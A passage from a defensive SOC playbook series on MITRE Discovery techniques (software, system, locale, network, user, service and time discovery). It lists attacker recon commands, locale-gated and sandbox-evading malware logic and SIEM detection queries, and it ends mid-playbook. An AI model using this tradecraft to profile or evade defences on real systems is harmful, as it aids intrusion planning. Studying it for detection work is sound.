- Backup Software Discovery

Purpose

Detect, investigate and respond to attacker discovery of installed software, specifically security and backup solutions, enabling attackers to:

- Identify antivirus, EDR, XDR, SIEM agents and monitoring tools
- Understand security coverage, versions and protection gaps
- Detect backup software, repositories and schedules
- Plan defense evasion, persistence or ransomware impact
- Avoid detection while maximising operational success

Software Discovery is control and resilience reconnaissance attackers learn what protects the environment and how recovery works before striking.

When to trigger this playbook

Trigger this playbook when indicators suggest enumeration of installed software, particularly security or backup tools, including:

- Commands listing installed applications or services
- Queries for known AV/EDR, backup agent names or paths
- Registry or filesystem checks for security/backup software
- Discovery activity by non-admin or suspicious processes
- Software discovery preceding evasion, disabling or impact actions

Example use case scenario (end-to-end)

Context: SOC detects a compromised endpoint enumerating installed software and services. The attacker specifically queries for EDR agents and enterprise backup software. Later, the attacker disables backup services and deploys ransomware while avoiding EDR processes.

Attacker objective: Understand defensive and recovery capabilities to bypass detection and prevent recovery.

Defender objective: Detect software reconnaissance early and protect security and backup controls.

What it looks like (simulated SOC artefacts)

A) Installed Software Enumeration

Command=wmic product get name,version
User=standard_user

B) Security Software Discovery

Query=Defender, Sentinel, CrowdStrike, Cortex
Result=EDR_Agent_Found

C) Backup Software Detection

Service=VeeamAgent
Status=Running

D) Registry-Based Discovery

reg query HKLM\SOFTWARE\Microsoft\Windows\CurrentVersion\Uninstall

E) Service-Level Inspection

Command=sc query
Filter=Backup,Agent,Security

F) Recon-Only Phase

ServiceStop=None
Phase=Discovery

Severity decision (SOC)

Low

- Legitimate IT inventory or compliance audit

Medium

- Software discovery by non-admin identity

High / Critical

- Targeted discovery of security and backup software
- Discovery followed by service tampering, evasion or ransomware

Example severity: Critical

(Security + backup discovery prior to ransomware deployment)

Step-by-step SOC workflow

Step 1 Validate software discovery

Confirm:

- Which software categories were enumerated (security, backup)?
- Was the activity authorised for the user/process?
- Is discovery broad or explicitly targeted?
- Does it precede service stopping, tampering or impact?

Decision point

- Legitimate inventory → document and monitor
- Suspicious discovery → continue investigation immediately

Step 2 Identify discovery method and scope

Software type	Method	Attacker value
Security software	Service/registry queries	Evasion planning
Backup software	Agent/service detection	Recovery sabotage
Installed apps	WMI/package managers	Environment mapping
Versions	Metadata inspection	Vulnerability targeting
Paths/processes	File/process checks	Injection/avoidance

Step 3 Map behaviour to attacker intent

3A) Defense Evasion Planning

Indicators

- Queries for EDR/AV agents and services

Attacker intent

- Avoid or disable detection

3B) Ransomware Impact Preparation

Indicators

- Discovery of backup software and repositories

Attacker intent

- Prevent recovery

3C) Tooling Adaptation

Indicators

- Version-specific software checks

Attacker intent

- Use compatible exploits or bypasses

Step 4 Hunt for follow-on actions

Immediately pivot to:

- Impair Defenses
 - Disable or modify security tools
- Indicator Removal
 - Log tampering or suppression
- Impact
 - Data encrypted for impact
- Persistence
 - Security exclusion abuse

Decision point

- Evidence found → escalate to Incident Response / Crisis Mode

Containment actions

Immediate

1. Protect and monitor security and backup services
2. Isolate affected endpoints if risk escalates
3. Enable tamper protection and alerts

If abuse confirmed

1. Restore and secure security/backup services
2. Validate backup integrity and offline copies
3. Block malicious binaries and accounts
4. Preserve system, service and registry logs

Eradication and recovery

- Remove attacker footholds
- Enforce tamper protection on security tools
- Restrict backup administration access
- Harden service permissions and monitoring
- Monitor closely for renewed software discovery

Detection engineering (SIEM ideas)

A) Installed software enumeration

```
index=edr  
| where command IN ("wmic product","Get-WmiObject Win32_Product")
```

B) Security software discovery

```
index=edr  
| where target_process IN security_software_list  
| where action="Query"
```

C) Backup software inspection

```
index=windows  
| where service_name IN backup_service_list  
| where action="Query"
```

Analyst checklist

- Software discovery confirmed
- Security and backup tools identified
- Authorisation assessed
- Evasion/impact risk evaluated
- Controls and monitoring strengthened

Post-incident improvements

- Treat security and backup software discovery as high-risk ransomware precursor
- Enforce strict monitoring on security and backup services

- Isolate and protect backup infrastructure
- Monitor software discovery → service tampering chains
- Include ransomware pre-attack recon scenarios in SOC and purple-team exercises

Playbook 174 (MITRE Discovery): System Information Discovery

Technique: System Information Discovery

Purpose

Detect, investigate and respond to attacker discovery of system-level information, enabling attackers to:

- Identify operating system, version, build and patch level
- Discover hardware architecture, CPU, memory and disk capacity
- Detect virtualisation, sandboxing or cloud-hosted environments
- Tailor payloads, exploits and evasion techniques
- Decide whether the system is valuable, vulnerable or safe to attack

System Information Discovery is environment profiling attackers learn what the system is and how it is built before executing the next stage.

When to trigger this playbook

Trigger this playbook when indicators suggest enumeration of OS, hardware or environment details, including:

- Commands retrieving OS, kernel or system version information
- Queries for CPU architecture, memory size or disk layout
- Discovery of VM, hypervisor or cloud metadata
- System info discovery by non-admin or suspicious processes
- Discovery preceding exploit selection, payload execution or evasion

Example use case scenario (end-to-end)

Context: SOC detects a suspicious binary querying OS version, system uptime, CPU architecture and virtualisation indicators. The binary aborts execution on sandbox systems but runs fully on production endpoints with matching OS criteria.

Attacker objective: Profile the system to select compatible exploits and evade analysis.

Defender objective: Detect system profiling early and assess hidden malicious intent.

What it looks like (simulated SOC artefacts)

A) OS Version Discovery (Windows)

Command=systeminfo

User=standard_user

B) Kernel and Architecture Discovery (Linux)

Command=uname -a

Result=x86_64

C) Hardware Profiling

Command=wmic cpu get name

Command=wmic memorychip get capacity

D) Disk and Capacity Discovery

Command=df -h

Result=LargeDataVolumeDetected

E) Virtualisation Detection

Query=VMware Tools, Hyper-V

Result=NotDetected

F) Recon-Only Phase

ExploitAttempt=None

Phase=Discovery

Severity decision (SOC)

Low

- Legitimate troubleshooting or IT inventory

Medium

- System info discovery by non-admin identity

High / Critical

- Targeted profiling by unknown or suspicious binary
- Discovery followed by exploit execution or evasion

Example severity: High

(Selective system profiling prior to payload execution)

Step-by-step SOC workflow

Step 1 Validate system information discovery

Confirm:

1. Which system attributes were queried (OS, CPU, memory, VM)?
2. Was the activity authorised for the user/process?
3. Is discovery broad or tailored (specific checks)?
4. Does it precede exploit execution or conditional behaviour?

Decision point

- Legitimate admin activity → document and monitor
- Suspicious profiling → continue investigation immediately

Step 2 Identify discovery method and scope

Category	Method	Attacker value
OS & kernel	systeminfo, uname	Exploit compatibility
Hardware	CPU/RAM queries	Payload tuning
Disk	Capacity checks	Impact planning
Uptime	Boot time checks	Sandbox evasion
Virtualisation	VM artifacts	Analysis avoidance

Step 3 Map behaviour to attacker intent

3A) Exploit Selection

Indicators

- OS version and patch-level checks

Attacker intent

- Choose working exploit

3B) Sandbox / VM Evasion

Indicators

- Hypervisor or uptime checks

Attacker intent

- Avoid analysis environments

3C) Impact Assessment

Indicators

- Disk size and memory discovery

Attacker intent

- Decide ransomware or data theft viability

Step 4 Hunt for follow-on actions

Immediately pivot to:

1. Exploitation
 - Client or privilege escalation exploits
2. Execution
 - Conditional payload launch
3. Defense Evasion
 - VM / sandbox evasion techniques
4. Persistence
 - OS-specific startup mechanisms

Decision point

- Evidence found → escalate to Incident Response / Crisis Mode

Containment actions

Immediate

1. Monitor and contain suspicious profiling processes
2. Isolate affected endpoints if behaviour escalates
3. Prevent outbound connections from profiling binaries

If abuse confirmed

1. Block malicious binaries and associated hashes
2. Patch vulnerable systems identified by attacker
3. Expand IOC hunt across environment
4. Preserve system telemetry for forensic analysis

Eradication and recovery

- Remove attacker footholds
- Ensure OS and firmware are fully patched
- Harden EDR to flag environment profiling patterns
- Reduce information leakage from unauthorised processes
- Monitor closely for renewed system profiling

Detection engineering (SIEM ideas)

A) System info discovery commands

index=edr
| where command IN ("systeminfo","uname -a","wmic cpu","wmic memorychip")

B) VM detection checks

index=edr
| where command LIKE "%vmware%" OR command LIKE "%hyper-v%"

C) Profiling followed by execution

index=edr
| transaction process_id
| where system_discovery=true AND payload_execution=true

Analyst checklist

- System information discovery confirmed
- Attributes and scope identified
- Authorisation assessed
- Exploit/evasion risk evaluated
- Monitoring and controls strengthened

Post-incident improvements

- Treat system profiling as precursor to targeted exploitation
- Monitor for conditional execution patterns
- Reduce unauthorised access to system metadata
- Correlate system discovery → exploit execution chains
- Include environment-profiling malware scenarios in SOC and purple-team exercises

Playbook 175 (MITRE Discovery): System Location Discovery

Technique: System Location Discovery

Sub-technique:

- System Language Discovery

Purpose

Detect, investigate and respond to attacker discovery of system language and regional settings, enabling attackers to:

- Identify victim geography or user locale
- Adjust phishing content, malware language or payload behaviour
- Avoid targeting specific countries (e.g. attacker home regions)
- Select region-specific exploits or social engineering techniques
- Evade detection by blending in with local system settings

System Language Discovery is contextual reconnaissance attackers learn where the system appears to belong before deciding how or whether to proceed.

When to trigger this playbook

Trigger this playbook when indicators suggest enumeration of system language or locale settings, including:

- Commands or APIs querying OS language, region or culture
- Registry or configuration reads of language/locale values
- Language discovery by suspicious binaries or scripts
- Language checks preceding conditional execution or exit
- Discovery used to tailor phishing, malware or evasion behaviour

Example use case scenario (end-to-end)

Context: SOC detects a suspicious executable querying system language and regional settings. The binary exits immediately on systems using a specific language associated with the attacker's region, but executes fully on others.

Attacker objective: Determine whether the system should be targeted and tailor behaviour accordingly.

Defender objective: Detect location-based targeting logic early and assess hidden malicious intent.

What it looks like (simulated SOC artefacts)

A) Windows System Language Query

Command=wmic os get locale

Result=0409

B) PowerShell Culture Discovery

Get-Culture

Result=en-US

C) Registry-Based Language Discovery

reg query HKCU\Control Panel\International

Value=LocaleName

D) Linux Locale Enumeration

Command=locale

Result=LANG=en_US.UTF-8

E) Conditional Execution Logic

If Language != ru-RU then Execute

Else Exit

F) Recon-Only Phase

NetworkActivity=None

Phase=Discovery

Severity decision (SOC)

Low

- Legitimate localisation checks by applications

Medium

- Language discovery by unknown or suspicious process

High / Critical

1. Language-based execution gating or selective targeting

2. Language discovery followed by malware execution or phishing

Example severity: High

(System language check used to conditionally execute malware)

Step-by-step SOC workflow**Step 1 Validate system language discovery**

Confirm:

- Which language or locale was queried?
- Was the activity authorised for the user/process?
- Is discovery generic or tied to conditional logic?
- Does it precede payload execution, exit or targeting?

Decision point

- Legitimate localisation logic → document and monitor
- Suspicious targeting logic → continue investigation immediately

Step 2 Identify discovery method and scope

Method	Evidence	Attacker value
CLI queries	wmic, locale	Quick locale ID
PowerShell	Get-Culture	Automation
Registry reads	International settings	Stealth
API calls	OS culture APIs	Evasion logic
Conditional checks	If/Else language logic	Target filtering

Step 3 Map behaviour to attacker intent**3A) Target Selection****Indicators**

- Language-based execution decisions

Attacker intent

- Avoid certain regions or victims

3B) Social Engineering Preparation

Indicators

- Language discovery before phishing

Attacker intent

- Localised lures

3C) Detection Evasion

Indicators

- Exit on sandbox or analyst locales

Attacker intent

- Avoid analysis environments

Step 4 Hunt for follow-on actions

Immediately pivot to:

- Execution
 - Conditional payload launch
- Phishing
 - Localised email or messaging attacks
- Defense Evasion
 - Sandbox or analyst avoidance
- Command and Control
 - Region-based C2 selection

Decision point

- Evidence found → escalate to Incident Response / Crisis Mode

Containment actions

Immediate

1. Isolate affected endpoints if malicious logic confirmed
2. Block suspicious binaries or scripts
3. Prevent outbound connections pending investigation

If abuse confirmed

1. Expand IOC hunt for similar language-based logic
2. Patch systems and block delivery vectors
3. Preserve binaries and telemetry for reverse engineering
4. Notify threat intel teams for regional targeting analysis

Eradication and recovery

- Remove attacker footholds
- Harden EDR rules for environment-profiling behaviour
- Improve sandbox diversity (language/locale variation)
- Monitor closely for renewed selective execution attempts
- Validate no dormant payloads remain

Detection engineering (SIEM ideas)

A) System language discovery commands

```
index=edr  
| where command IN ("Get-Culture", "wmic os get locale", "locale")
```

B) Registry-based locale queries

```
index=edr  
| where registry_path LIKE "%\\Control Panel\\International%"  
| where access_type="Read"
```

C) Language-based conditional execution

```
index=edr  
| transaction process_id  
| where locale_query=true AND execution_decision=true
```

Analyst checklist

- System language discovery confirmed
- Locale and scope identified
- Authorisation assessed
- Targeting or evasion risk evaluated
- Monitoring and controls strengthened

Post-incident improvements

- Treat language discovery as precursor to selective targeting or evasion
- Improve sandbox realism with diverse locale settings

- Monitor language discovery → conditional execution chains
- Share indicators with threat intelligence teams
- Include locale-aware malware scenarios in SOC and purple-team exercises

Playbook 176 (MITRE Discovery): System Network Configuration Discovery

Technique: System Network Configuration Discovery

Sub-techniques:

- Internet Connection Discovery
- Wi-Fi Discovery

Purpose

Detect, investigate and respond to attacker discovery of system network configuration, enabling attackers to:

- Determine whether the host has internet connectivity
- Identify network interfaces, gateways and DNS settings
- Detect Wi-Fi capability, SSIDs and connection state
- Choose appropriate Command-and-Control (C2) methods
- Decide between online, offline or staged attack behaviour

System Network Configuration Discovery is connectivity reconnaissance attackers learn how and where the system can communicate before exfiltrating data or establishing C2.

When to trigger this playbook

Trigger this playbook when indicators suggest enumeration of network configuration, including:

- Commands querying network interfaces, routes or DNS
- Checks for internet connectivity or external reachability
- Wi-Fi enumeration or SSID discovery
- Network discovery by suspicious or non-admin processes
- Discovery preceding C2 beaconing, lateral movement or exfiltration

Example use case scenario (end-to-end)

Context: SOC detects a suspicious process checking default gateways, DNS servers and active interfaces. The same process enumerates Wi-Fi adapters and nearby SSIDs. Minutes later, outbound connections are attempted only when internet connectivity is confirmed.

Attacker objective:

Determine **how the system connects to networks** and when C2 is viable.

Defender objective:

Detect connectivity profiling early and disrupt malicious communication planning.

What it looks like (simulated SOC artefacts)**A) Internet Connectivity Discovery (Windows)**

Command=ipconfig /all

Result=DefaultGateway=10.10.1.1

B) Routing Table Inspection

Command=route print

C) External Connectivity Test

Command=ping 8.8.8.8

Result=Success

D) Wi-Fi Adapter Discovery

Command=netsh wlan show interfaces

State=Disconnected

E) Wi-Fi Network Enumeration

Command=netsh wlan show networks

SSID=CorpWiFi, GuestWiFi

F) Recon-Only Phase

OutboundC2=None

Phase=Discovery

Severity decision (SOC)**Low**

- Legitimate troubleshooting or network diagnostics

Medium

- Network configuration discovery by non-admin identity

High / Critical

1. Connectivity checks by unknown or suspicious process
2. Discovery followed by C2, exfiltration or lateral movement

Example severity: High

(Connectivity discovery preceding outbound C2 attempts)

Step-by-step SOC workflow

Step 1 Validate network configuration discovery

Confirm:

- Which network attributes were queried (interfaces, routes, DNS, Wi-Fi)?
- Was the activity authorised for the user/process?
- Is discovery broad or conditional (e.g. loop until internet found)?
- Does it precede outbound communication or movement?

Decision point

- Legitimate network diagnostics → document and monitor
- Suspicious connectivity profiling → continue investigation immediately

Step 2 Identify discovery method and scope

Area	Method	Attacker value
Internet access	Ping / route checks	C2 viability
Interfaces	ipconfig, ifconfig	Network mapping
DNS	Resolver discovery	C2 resolution
Wi-Fi adapters	netsh wlan	Mobility awareness
SSIDs	Network enumeration	Opportunistic access

Step 3 Map behaviour to attacker intent

3A) Command-and-Control Planning

Indicators

- Repeated internet connectivity checks

Attacker intent

- Enable or delay C2 communication

3B) Network-Aware Execution

Indicators

- Conditional execution based on connectivity

Attacker intent

- Avoid detection on offline systems

3C) Opportunistic Network Access

Indicators

- Wi-Fi network enumeration

Attacker intent

- Leverage alternate or weaker networks

Step 4 Hunt for follow-on actions

Immediately pivot to:

- Command and Control
 - Beaconsing, DNS tunnelling
- Exfiltration
 - Data transfer over discovered routes
- Lateral Movement
 - Use of discovered gateways or Wi-Fi
- Defense Evasion
 - Network-aware execution delays

Decision point

- Evidence found → escalate to Incident Response / Crisis Mode

Containment actions

Immediate

1. Block or restrict suspicious outbound traffic
2. Isolate affected endpoints if behaviour escalates
3. Increase monitoring on network and Wi-Fi interfaces

If abuse confirmed

1. Disable compromised network interfaces if required
2. Rotate credentials exposed over discovered networks
3. Harden firewall and proxy controls
4. Preserve network telemetry and logs

Eradication and recovery

- Remove attacker footholds
- Enforce strict egress filtering
- Harden Wi-Fi security and monitoring
- Reduce information leakage from network commands
- Monitor closely for renewed connectivity discovery

Detection engineering (SIEM ideas)

A) Network configuration discovery commands

```
index=edr  
| where command IN ("ipconfig","ifconfig","route print","netsh wlan")
```

B) Connectivity test behaviour

```
index=network  
| where action IN ("ping","dns_query")  
| stats count by src_process
```

C) Discovery followed by outbound traffic

```
index=edr  
| transaction process_id  
| where network_discovery=true AND outbound_connection=true
```

Analyst checklist

- Network configuration discovery confirmed
- Internet/Wi-Fi scope identified
- Authorisation assessed
- C2/exfiltration risk evaluated
- Monitoring and controls strengthened

Post-incident improvements

- Treat network discovery as precursor to C2 and exfiltration
- Enforce strict outbound traffic controls

- Monitor Wi-Fi discovery on endpoints
- Correlate connectivity discovery → outbound communication chains
- Include network-aware malware scenarios in SOC and purple-team exercises

Playbook 177 (MITRE Discovery): System Network Connections Discovery

Technique: System Network Connections Discovery

Purpose

Detect, investigate and respond to attacker discovery of active and historical network connections on a system, enabling attackers to:

- Identify active outbound and inbound connections
- Discover established sessions, remote peers and listening services
- Identify trusted internal systems and external destinations
- Detect security tooling, proxies or monitoring endpoints
- Select targets for lateral movement, hijacking or evasion

System Network Connections Discovery is live communication reconnaissance attackers learn who the system is talking to right now before abusing or blending into that traffic.

When to trigger this playbook

Trigger this playbook when indicators suggest enumeration of active or recent network connections, including:

- Commands listing TCP/UDP connections or sockets
- Inspection of listening ports and bound services
- Discovery of established external connections
- Network connection discovery by suspicious or non-admin processes
- Discovery preceding lateral movement, C2 or exfiltration

Example use case scenario (end-to-end)

Context: SOC detects a suspicious process enumerating active network connections on a workstation. The process identifies an active SMB session to a file server and an outbound HTTPS connection to a security proxy. Minutes later, the attacker attempts lateral movement using the discovered SMB session.

Attacker objective: Identify active communication paths to exploit or blend into.

Defender objective: Detect live network reconnaissance early and prevent session abuse or movement.

What it looks like (simulated SOC artefacts)

A) Active Connection Enumeration (Windows)

Command=netstat -ano

Result=ESTABLISHED TCP 10.10.5.23:49822 → 10.10.5.10:445

B) Process-to-Connection Mapping

PID=4120

Process=unknown.exe

RemoteIP=10.10.5.10

Port=445

C) Linux Network Discovery

Command=ss -tunap

State=ESTAB

D) Listening Port Inspection

Command=netstat -an | find "LISTEN"

Port=3389

E) Proxy / Security Endpoint Detection

RemoteIP=10.10.1.5

Service=HTTPS Proxy

F) Recon-Only Phase

ConnectionHijack=None

Phase=Discovery

Severity decision (SOC)

Low

- Legitimate troubleshooting or network diagnostics

Medium

- Network connection discovery by non-admin identity

High / Critical

1. Discovery of sensitive internal sessions or security endpoints
2. Discovery followed by lateral movement or C2 activity

Example severity: High

(Network connection discovery prior to SMB lateral movement)

Step-by-step SOC workflow

Step 1 Validate network connections discovery

Confirm:

- Which connections were enumerated (internal, external, listening)?
- Was the activity authorised for the user/process?
- Is discovery broad or focused on sensitive services (SMB, RDP, DB)?
- Does it precede movement, hijacking or abuse?

Decision point

- Legitimate diagnostics → document and monitor
- Suspicious connection discovery → continue investigation immediately

Step 2 Identify discovery method and scope

Area	Method	Attacker value
Active sessions	netstat, ss	Live targets
Process mapping	PID correlation	Abuse context
Listening ports	Service discovery	Attack surface
Internal peers	SMB/RDP sessions	Lateral movement
External endpoints	Proxy/C2 mimicry	Evasion

Step 3 Map behaviour to attacker intent

3A) Lateral Movement Preparation

Indicators

- Discovery of SMB, RDP, WinRM sessions

Attacker intent

- Reuse or hijack trusted paths

3B) Defense Awareness

Indicators

- Identification of proxy or monitoring endpoints

Attacker intent

- Blend into allowed traffic

3C) C2 and Exfiltration Planning

Indicators

- Enumeration of outbound connections

Attacker intent

- Select stealthy communication channels

Step 4 Hunt for follow-on actions

Immediately pivot to:

- Lateral Movement
 - Remote services, SMB reuse
- Command and Control
 - Beaconsing via known paths
- Exfiltration
 - Data sent over existing connections
- Defense Evasion
 - Traffic masquerading

Decision point

- Evidence found → escalate to Incident Response / Crisis Mode

Containment actions

Immediate

1. Monitor and restrict suspicious processes enumerating connections
2. Isolate affected endpoints if escalation risk exists
3. Increase monitoring on discovered sensitive sessions

If abuse confirmed

1. Terminate affected network sessions

2. Rotate credentials used in discovered connections
3. Restrict lateral access via firewall or segmentation
4. Preserve network and process telemetry

Eradication and recovery

- Remove attacker footholds
- Harden monitoring of process-network mapping
- Enforce least privilege for network access
- Improve detection of session enumeration behaviour
- Monitor closely for renewed connection discovery

Detection engineering (SIEM ideas)

A) Network connection discovery commands

```
index=edr  
| where command IN ("netstat","ss","lsof -i")
```

B) Process-to-connection mapping

```
index=edr  
| where action="NetworkEnumerate"  
| where user_role!="Admin"
```

C) Discovery followed by movement

```
index=auth OR index=network  
| transaction process_id  
| where connection_discovery=true AND lateral_activity=true
```

Analyst checklist

- Network connections discovery confirmed
- Internal/external scope identified
- Authorisation assessed
- Lateral movement or C2 risk evaluated
- Controls and monitoring strengthened

Post-incident improvements

- Treat network connection discovery as precursor to session abuse
- Monitor correlation between discovery and movement
- Limit visibility of sensitive sessions

- Strengthen segmentation and session isolation
- Include live-connection recon scenarios in SOC and purple-team exercises

Playbook 178 (MITRE Discovery): System Owner/User Discovery

Technique: System Owner/User Discovery

Purpose

Detect, investigate and respond to attacker discovery of system owners, logged-in users and user account context, enabling attackers to:

- Identify current interactive users on a system
- Discover account names, roles and privilege levels
- Select high-value users for credential theft or impersonation
- Decide whether privilege escalation is required
- Time attacks when privileged users are active

System Owner/User Discovery is identity-context reconnaissance attackers learn who is using the system and under what privileges before escalating, stealing credentials or moving laterally.

When to trigger this playbook

Trigger this playbook when indicators suggest enumeration of user or owner information, including:

- Commands querying logged-in users or account context
- Inspection of username, SID, UID or privilege level
- Discovery of session owners or active terminals
- User discovery by suspicious or non-admin processes
- Discovery preceding credential access, impersonation or escalation

Example use case scenario (end-to-end)

Context: SOC detects a suspicious process querying logged-in users and privilege context on a workstation. The attacker identifies that a domain administrator is currently logged in via RDP. Minutes later, LSASS access attempts are observed.

Attacker objective: Identify who is logged in and whether they are worth targeting.

Defender objective: Detect user-context reconnaissance early and protect high-value identities.

What it looks like (simulated SOC artefacts)

A) Logged-in User Discovery (Windows)

Command=query user
Result=Administrator, UserA

B) Current User Context

Command=whoami
Result=CORP\UserA
Privileges=Standard

C) Linux User Enumeration

Command=who
Result=root, analyst

D) Session Ownership Discovery

Command=qwinsta
Session=RDP-Tcp#2
User=DomainAdmin

E) SID / UID Discovery

Command=whoami /user
SID=S-1-5-21-...

F) Recon-Only Phase

CredentialAccess=None
Phase=Discovery

Severity decision (SOC)

Low

- Legitimate administrative checks or scripts

Medium

- User discovery by non-admin or unknown process

High / Critical

- Discovery of privileged users (admins, service accounts)
- User discovery followed by credential access or impersonation

Example severity: High

(Detection of domain admin discovery prior to LSASS access)

Step-by-step SOC workflow**Step 1 Validate system owner/user discovery**

Confirm:

1. Which users were enumerated (current, logged-in, remote)?
2. Was the activity authorised for the user/process?
3. Is discovery broad or focused on privileged accounts?
4. Does it precede credential access or impersonation?

Decision point

- Legitimate admin check → document and monitor
- Suspicious user discovery → continue investigation immediately

Step 2 Identify discovery method and scope

Method	Evidence	Attacker value
User context	whoami	Privilege awareness
Logged-in users	query user, who	Target selection
Sessions	qwinsta	Timing attacks
SID/UID	Identifier queries	Token abuse
Privilege info	Group membership	Escalation planning

Step 3 Map behaviour to attacker intent**3A) High-Value Identity Targeting****Indicators**

- Discovery of admin or service accounts

Attacker intent

- Steal or abuse privileged credentials

3B) Timing-Based Attacks**Indicators**

- Active session discovery

Attacker intent

- Attack while user is logged in

3C) Privilege Escalation Decision

Indicators

- Discovery of standard user context

Attacker intent

- Decide whether escalation is needed

Step 4 Hunt for follow-on actions

Immediately pivot to:

1. Credential Access
 - LSASS dumping, token theft
2. Privilege Escalation
 - Access token manipulation
3. Impersonation
 - Pass-the-Hash / Token impersonation
4. Lateral Movement
 - Use of discovered identities

Decision point

- Evidence found → escalate to Incident Response / Crisis Mode

Containment actions

Immediate

1. Increase monitoring on discovered privileged users
2. Isolate affected endpoints if risk escalates
3. Alert identity and SOC teams

If abuse confirmed

1. Force credential resets for affected users

2. Terminate active sessions if required
3. Block malicious processes and accounts
4. Preserve authentication and endpoint logs

Eradication and recovery

- Remove attacker footholds
- Enforce least privilege and session isolation
- Limit visibility of logged-in user information
- Harden credential protection (LSA, Credential Guard)
- Monitor closely for renewed user discovery

Detection engineering (SIEM ideas)

A) User discovery commands

```
index=edr  
| where command IN ("whoami","query user","qwinsta","who")
```

B) Privileged user discovery

```
index=edr  
| where action="UserEnumerate"  
| where discovered_user_role="Admin"
```

C) Discovery followed by credential access

```
index=edr  
| transaction process_id  
| where user_discovery=true AND credential_access_attempt=true
```

Analyst checklist

- System owner/user discovery confirmed
- Users and privilege levels identified
- Authorisation assessed
- Credential theft risk evaluated
- Controls and monitoring strengthened

Post-incident improvements

- Treat user discovery as precursor to credential theft
- Limit exposure of logged-in user information
- Protect privileged sessions with isolation and MFA

- Correlate user discovery → credential access chains
- Include identity-targeting recon scenarios in SOC and purple-team exercises

Playbook 179 (MITRE Discovery): System Service Discovery

Technique: System Service Discovery

Purpose

Detect, investigate and respond to attacker discovery of system services and daemons, enabling attackers to:

- Identify running, stopped or disabled services
- Discover privileged or misconfigured services
- Detect security, monitoring and backup-related services
- Locate services vulnerable to abuse for persistence or escalation
- Plan service-based privilege escalation, execution or lateral movement

System Service Discovery is service-layer reconnaissance attackers learn what long-running components exist and how they operate before abusing them.

When to trigger this playbook

Trigger this playbook when indicators suggest enumeration of system services, including:

- Commands listing services or daemons
- Queries inspecting service status, startup type or permissions
- Discovery of services by suspicious or non-admin processes
- Focus on privileged, auto-start or security-related services
- Service discovery preceding persistence, escalation or execution

Example use case scenario (end-to-end)

Context: SOC detects a compromised endpoint enumerating all Windows services and filtering for those running as SYSTEM. The attacker identifies a misconfigured service with weak file permissions. Shortly after, the service binary is replaced and restarted to gain SYSTEM-level access.

Attacker objective: Identify services that can be abused for persistence or privilege escalation.

Defender objective: Detect service reconnaissance early and prevent service abuse.

What it looks like (simulated SOC artefacts)

A) Windows Service Enumeration

Command=sc query
Result=SERVICE_NAME: Spooler, WinDefend, BackupAgent

B) Detailed Service Configuration Discovery

Command=sc qc BackupAgent
RunAs=LocalSystem
StartType=AUTO_START

C) PowerShell Service Listing

Get-Service | Where-Object {\$_.Status -eq "Running"}

D) Linux Service Discovery

Command=systemctl list-units --type=service

E) Privileged Service Targeting

Service=CustomUpdater
BinaryPath=C:\Program Files\App\update.exe
Permissions=Everyone:Write

F) Recon-Only Phase

ServiceChange=None
Phase=Discovery

Severity decision (SOC)

Low

- Legitimate system administration or health checks

Medium

- Service discovery by non-admin identity

High / Critical

1. Enumeration of privileged or custom services
2. Discovery followed by service modification or restart

Example severity: High

(Service discovery preceding service-based privilege escalation)

Step-by-step SOC workflow

Step 1 Validate system service discovery

Confirm:

- Which services were enumerated (all, filtered, specific)?
- Was the activity authorised for the user/process?
- Is discovery broad or focused on privileged/custom services?
- Does it precede service modification, restart or execution?

Decision point

- Legitimate admin activity → document and monitor
- Suspicious service discovery → continue investigation immediately

Step 2 Identify discovery method and scope

Method	Evidence	Attacker value
CLI tools	sc query, systemctl	Full service view
PowerShell	Get-Service	Automation
Config inspection	sc qc	Privilege context
Permission checks	File ACL inspection	Escalation paths
Startup analysis	Auto-start services	Persistence

Step 3 Map behaviour to attacker intent

3A) Privilege Escalation Planning

Indicators

- Discovery of services running as SYSTEM/root

Attacker intent

- Gain elevated privileges

3B) Persistence Preparation

Indicators

- Focus on auto-start services

Attacker intent

- Achieve long-term execution

3C) Defense Awareness

Indicators

- Enumeration of security or monitoring services

Attacker intent

1. Avoid or disable defenses

Step 4 Hunt for follow-on actions

Immediately pivot to:

- Create or Modify System Process
 - Windows services, systemd units
- Hijack Execution Flow
 - Service binary replacement
- Privilege Escalation
 - Service permission abuse
- Defense Evasion
 - Security service tampering

Decision point

- Evidence found → escalate to Incident Response / Crisis Mode

Containment actions

Immediate

1. Monitor and restrict service control operations
2. Isolate affected endpoints if escalation risk exists
3. Protect critical and security-related services

If abuse confirmed

1. Restore affected service binaries and configurations
2. Correct weak service file and registry permissions
3. Restart services from trusted binaries
4. Preserve service and process telemetry

Eradication and recovery

- Remove attacker footholds
- Audit all services for least privilege
- Harden service binary and registry permissions
- Enable alerts for service configuration changes
- Monitor closely for renewed service discovery

Detection engineering (SIEM ideas)

A) Service discovery commands

```
index=edr  
| where command IN ("sc query","sc qc","Get-Service","systemctl list-units")
```

B) Privileged service inspection by non-admin

```
index=edr  
| where action="ServiceEnumerate"  
| where user_role!="Admin"
```

C) Discovery followed by service modification

```
index=edr  
| transaction process_id  
| where service_discovery=true AND service_change=true
```

Analyst checklist

- System service discovery confirmed
- Services and privilege context identified
- Authorisation assessed
- Escalation/persistence risk evaluated
- Controls and monitoring strengthened

Post-incident improvements

- Treat service discovery as precursor to service abuse
- Audit and harden custom and legacy services
- Enforce least privilege on service binaries
- Correlate service discovery → service modification chains
- Include service-abuse scenarios in SOC and purple-team exercises

Playbook 180 (MITRE Discovery): System Time Discovery

Technique: System Time Discovery

Purpose

Detect, investigate and respond to attacker discovery of system time, time zone and clock configuration, enabling attackers to:

- Correlate events across compromised systems
- Align actions with business hours or user activity
- Evade detection by timing execution and C2 beacons
- Manipulate or anticipate log timestamps
- Determine regional context and infrastructure alignment

System Time Discovery is temporal reconnaissance attackers learn when the system believes “now” is to synchronise operations, evade monitoring or manipulate forensics.

When to trigger this playbook

Trigger this playbook when indicators suggest enumeration of time-related settings, including:

- Commands querying current system time or time zone
- Inspection of NTP configuration or time sync status
- Time discovery by suspicious or non-admin processes
- Repeated time checks used for execution gating or delays
- Discovery preceding time-based evasion, C2 scheduling or log tampering

Example use case scenario (end-to-end)

Context: SOC detects a suspicious binary querying system time and time zone repeatedly. The malware delays execution until local business hours, then initiates outbound C2 to blend into normal traffic patterns.

Attacker objective: Understand temporal context to time actions for stealth and coordination.

Defender objective: Detect time-based reconnaissance early and prevent timed evasion or coordinated attacks.

What it looks like (simulated SOC artefacts)

A) Current Time Query (Windows)

Command=time /t
Result=09:14

B) Date and Time Zone Discovery

Command=tzutil /g
Result=Singapore Standard Time

C) Linux Time Discovery

Command=date
